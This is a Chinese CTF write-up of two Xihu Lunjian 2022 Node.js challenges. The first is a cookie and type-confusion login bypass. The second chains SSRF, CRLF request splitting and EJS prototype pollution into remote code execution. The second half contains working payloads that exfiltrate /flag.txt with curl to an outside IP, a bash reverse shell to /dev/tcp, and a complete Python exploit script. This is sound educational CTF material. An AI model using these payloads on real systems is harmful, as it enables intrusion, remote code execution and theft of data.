[西湖论剑 2022]Node Magical Login
环境!启动!(ノへ ̄、)

这么一看好像弱口令啊,(不过西湖论剑题目怎么会这么简单,当时真的傻),那就bp抓包试一下(这里就不展示了,因为是展示自己思路,这里就写了一下当时的NC思路,其实是不对的┭┮﹏┭┮)
不是BP弱口令?那好吧,我们先看一下源码,比赛的时候是给了源码的NSS复现上是没有的,这里我把源码放在这里,或者可以去我主页GITHUB上下载“源码”
单独建立一个工程看一下
大概扒拉了一下,main.js,controller.js,login.css............(+.+)(-.-)(_ _) ..zzZZ,最终发现!应该是“controller.js”这里有关于flag的内容!

我把源码放在下边o.O?- const fs = require("fs");
- const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
- const flag1 = fs.readFileSync("/flag1")
- const flag2 = fs.readFileSync("/flag2")
- function LoginController(req,res) {
- try {
- const username = req.body.username
- const password = req.body.password
- if (username !== "admin" || password !== Math.random().toString()) {
- res.status(401).type("text/html").send("Login Failed")
- } else {
- res.cookie("user",SECRET_COOKIE)
- res.redirect("/flag1")
- }
- } catch (__) {}
- }
- function CheckInternalController(req,res) {
- res.sendFile("check.html",{root:"static"})
- }
- function CheckController(req,res) {
- let checkcode = req.body.checkcode?req.body.checkcode:1234;
- console.log(req.body)
- if(checkcode.length === 16){
- try{
- checkcode = checkcode.toLowerCase()
- if(checkcode !== "aGr5AtSp55dRacer"){
- res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
- }
- }catch (__) {}
- res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
- }else{
- res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
- }
- }
- function Flag1Controller(req,res){
- try {
- if(req.cookies.user === SECRET_COOKIE){
- res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
- res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
- res.status(200).type("text/html").send("Login success. Welcome,admin!")
- }
- if(req.cookies.user === "admin") {
- res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
- res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
- }else{
- res.status(401).type("text/html").send("Unauthorized")
- }
- }catch (__) {}
- }
- module.exports = {
- LoginController,
- CheckInternalController,
- Flag1Controller,
- CheckController
- }
复制代码 很好理解先来第一段:
Flag1:
- function LoginController(req,res) {
- try {
- const username = req.body.username
- const password = req.body.password
- if (username !== "admin" || password !== Math.random().toString()) {
- res.status(401).type("text/html").send("Login Failed")
- } else {
- res.cookie("user",SECRET_COOKIE)
- res.redirect("/flag1")
- }
- } catch (__) {}
- }
复制代码 这代码从上向下看就是username !== "admin"也就是让他等于admin,相当于屏蔽了这个,好解决BP启动!
抓到包以后直接改cookie就好了(・-・*),还有因为是访问请求,所以,GET一下flag1- Cookie:user=admin
- GET /flag1 HTTP/1.1
复制代码 得到:

好耶!我们得到了一半的flag!(*^▽^*)那就接着看代码,找Flag2:
Flag2:
看了可以知道,访问 / 路由时,要满足密码为 Math.random().toString()的 随机数,因此cookie设为SECRET_COOKIE。
那么我们再看一下flag2 的相关代码:- function CheckController(req,res) {
- let checkcode = req.body.checkcode?req.body.checkcode:1234;
- console.log(req.body)
- if(checkcode.length === 16){
- try{
- checkcode = checkcode.toLowerCase()
- if(checkcode !== "aGr5AtSp55dRacer"){
- res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
- }
- }catch (__) {}
- res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
- }else{
- res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
- }
- }
复制代码 这段代码其实很好理解,要上传一段长度为16位的码,同时要让checkcode不等于“aGr5AtSp55dRacer”还有就是因为有”toLowerCase“会把字符小写所以考虑用node的相关漏洞,具体讲解有大神讲过了,意思是node有个遗传性,比如:- oi1=1
- oi2//不赋值
- 这个时候我们调用oi1那就会把io2也是1
复制代码 这个不仅是赋值,同样还有Function也继承,类似于php继承性,这是讲解视频:Node.js原型链污染
那么我们继续开始赋值,因为他让不等于而且会被默认小写,可以考虑数组:
两种写法:- {"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
复制代码- {"checkcode":["a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"]}
复制代码 其实是一样的都是凑够"16"位带入进去,还有就是因为是json形式的文件所以改一下json上传(好烦的要求┏┛墓┗┓...(((m -__-)m),还要记得访问flag2:- POST /getflag2 HTTP/1.1//这个是头
- Content-Type:application/json//这个是文件形式
复制代码 两种写的格式截图放这里:


效果一致得到Flag2(lll¬ω¬)最终为:- NSSCTF{0a8c2d78-ee0e-43a7-9d6e-fba3cc3240ab}
复制代码 结束<(^-^)>
[西湖论剑 2022]real_ez_node
让我先把环境拉起来!这题是有源码包的,我放到了自己的Github上了,可以去下载一下“启动链接!”

思路确认环节
ejs?等会这题叫node是吧,突然想到之前群里的师傅在谈论的node漏洞,这题这么新颖么?先看一下源码吧O.o,F12看一眼,果然没有东西,那打开Kali扫一下,啊也没有耶,那种只能看看源码了(这里是边写边做的,也算是帮很多人排除错误选项)
VSCODE打开看一眼源码:

这里不是很清楚为什么在NSS上的源码包这么多东西,我去其实仔细审计以后(我是真的把每一个文件夹都看了一遍,脑子要吐了T-T),找到了routes里边的index.js以及docker\docker\web1\files中的start.sh
那么首先锁定了flag的位置:flag位置在根目录下/flag.txt

接着开始快e乐xin的审计代码:……]((o_ _)'彡☆- var express = require('express');
- var http = require('http');
- var router = express.Router();
- const safeobj = require('safe-obj');
- router.get('/',(req,res)=>{
- if (req.query.q) {
- console.log('get q');
- }
- res.render('index');
- })
- router.post('/copy',(req,res)=>{
- res.setHeader('Content-type','text/html;charset=utf-8')
- var ip = req.connection.remoteAddress;
- console.log(ip);
- var obj = {
- msg: '',
- }
- if (!ip.includes('127.0.0.1')) {
- obj.msg="only for admin"
- res.send(JSON.stringify(obj));
- return
- }
- let user = {};
- for (let index in req.body) {
- if(!index.includes("__proto__")){
- safeobj.expand(user, index, req.body[index])
- }
- }
- res.render('index');
- })
- router.get('/curl', function(req, res) {
- var q = req.query.q;
- var resp = "";
- if (q) {
- var url = 'http://localhost:3000/?q=' + q
- try {
- http.get(url,(res1)=>{
- const { statusCode } = res1;
- const contentType = res1.headers['content-type'];
-
- let error;
- // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
- if (statusCode !== 200) {
- error = new Error('Request Failed.\n' +
- `Status Code: ${statusCode}`);
- }
- if (error) {
- console.error(error.message);
- // 消费响应数据以释放内存
- res1.resume();
- return;
- }
-
- res1.setEncoding('utf8');
- let rawData = '';
- res1.on('data', (chunk) => { rawData += chunk;
- res.end('request success') });
- res1.on('end', () => {
- try {
- const parsedData = JSON.parse(rawData);
- res.end(parsedData+'');
- } catch (e) {
- res.end(e.message+'');
- }
- });
- }).on('error', (e) => {
- res.end(`Got error: ${e.message}`);
- })
- res.end('ok');
- } catch (error) {
- res.end(error+'');
- }
- } else {
- res.send("search param 'q' missing!");
- }
- })
- module.exports = router;v
复制代码 大概看了下代码首先,这题叫做node那么大概率就是原型链污染了,粗略看代码又有safeobj.expand(),safeobj.expand() 这一块类明显的在user中的污染链函数,又有打算开环境以后的ejs提示,那问题锁定,就是ejs模板引擎污染。
好的,主席说过“治理污染要治本,绿水青山.........”那就开始找源头!ヽ( ̄︿ ̄ )—C
1.首先在代码18行到25行看到了两个东西:要求我们从本地(127.0.0.1)访问,过滤了__proto__。

2.再往下看一看,发现有SSRF的节点可利用:

这样看我就有思路了!ε=ε=ε=(~ ̄▽ ̄)~
先通过路由利用CRLF还有它给我ban 了的本地连接身份向/copy发一个POST请求,再去解决污染!说干就淦
调试payload环节
ejs污染原型链
既然是___proto___这种原型链污染那我们用模板就可以了。借用“jay17”大大的博客内容,对___proto___使用constructor.prototype绕过- (实例对象)foo.__proto__ == (类)Foo.prototype
复制代码 ejs原型链污染的payload模板是这样的!d=====( ̄▽ ̄*)b- {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
复制代码 仔细看代码,let user={};,user的上一层就是Object,考虑只有一次污染,那么就只有一个___proto___
payload如下:- {
- "__proto__":{
- "outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
- }
- }
复制代码 safeobj里的expand方法, 直接递归按照 “.”做分隔写入 obj,可以原型链污染。传入{“a.b”:“123”}会进行赋值a.b=123- {
- "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
- }
复制代码 最终完善一下代码:- expand: function (obj, path, thing) {
- if (!path || typeof thing === 'undefined') {
- return;
- }
- obj = isObject(obj) && obj !== null ? obj : {};
- var props = path.split('.');
- if (props.length === 1) {
- obj[props.shift()] = thing;
- } else {
- var prop = props.shift();
- if (!(prop in obj)) {
- obj[prop] = {};
- }
- _safe.expand(obj[prop], props.join('.'), thing);
- }
- },
复制代码 CRLF
这里我想了好多种讲解方法,最终觉得我讲理论会有点难理解,有兴趣的师傅们可以去刚才我附赠的jay-17大大那个博客翻找一下,我直接给构成的脚本,生成就好了✧(≖ ◡ ≖✿)
原始脚本:- payload = ''' HTTP/1.1
- [POST /upload.php HTTP/1.1
- Host: 127.0.0.1]自己的http请求
- GET / HTTP/1.1
- test:'''.replace("\n","\r\n")
- payload = payload.replace('\r\n', '\u010d\u010a') \
- .replace('+', '\u012b') \
- .replace(' ', '\u0120') \
- .replace('"', '\u0122') \
- .replace("'", '\u0a27') \
- .replace('[', '\u015b') \
- .replace(']', '\u015d') \
- .replace('`', '\u0127') \
- .replace('"', '\u0122') \
- .replace("'", '\u0a27') \
- .replace('[', '\u015b') \
- .replace(']', '\u015d') \
- print(payload)
复制代码 题目所需脚本:- payload = ''' HTTP/1.1
- POST /copy HTTP/1.1
- Host: 127.0.0.1
- Content-Type: application/json
- Connection: close
- Content-Length: 175
- {"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl //地址// /`cat /flag.txt`');//"}
- '''.replace("\n", "\r\n")
- payload = payload.replace('\r\n', '\u010d\u010a') \
- .replace('+', '\u012b') \
- .replace(' ', '\u0120') \
- .replace('"', '\u0122') \
- .replace("'", '\u0a27') \
- .replace('[', '\u015b') \
- .replace(']', '\u015d') \
- .replace('`', '\u0127') \
- .replace('"', '\u0122') \
- .replace("'", '\u0a27')
- print(payload)
复制代码 注意下哦,这里为什么填175,POST数据长度173,但是POST还包含了两个\n会被替换为\r\n,总长度要加2( *︾▽︾)
生成paylaod后发包:附赠一个一把梭的代码:- import requests
- import urllib.parse
- payloads = ''' HTTP/1.1
- POST /copy HTTP/1.1
- Host: 127.0.0.1
- User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate
- Connection: close
- Cookie: wp-settings-time-1=1670345808
- Upgrade-Insecure-Requests: 1
- Content-Type: application/json
- Content-Length: 174
- {"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port/*/IP地址/* 0>&1\"');var __tmp2"}
- GET / HTTP/1.1
- test:'''.replace("\n", "\r\n")
- def payload_encode(raw):
- ret = u""
- for i in raw:
- ret += chr(0x0100 + ord(i))
- return ret
- payloads = payload_encode(payloads)
- print(payloads)
- r = requests.get('//题目代码/curl?q=' + urllib.parse.quote(payloads))
- print(r.text)
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |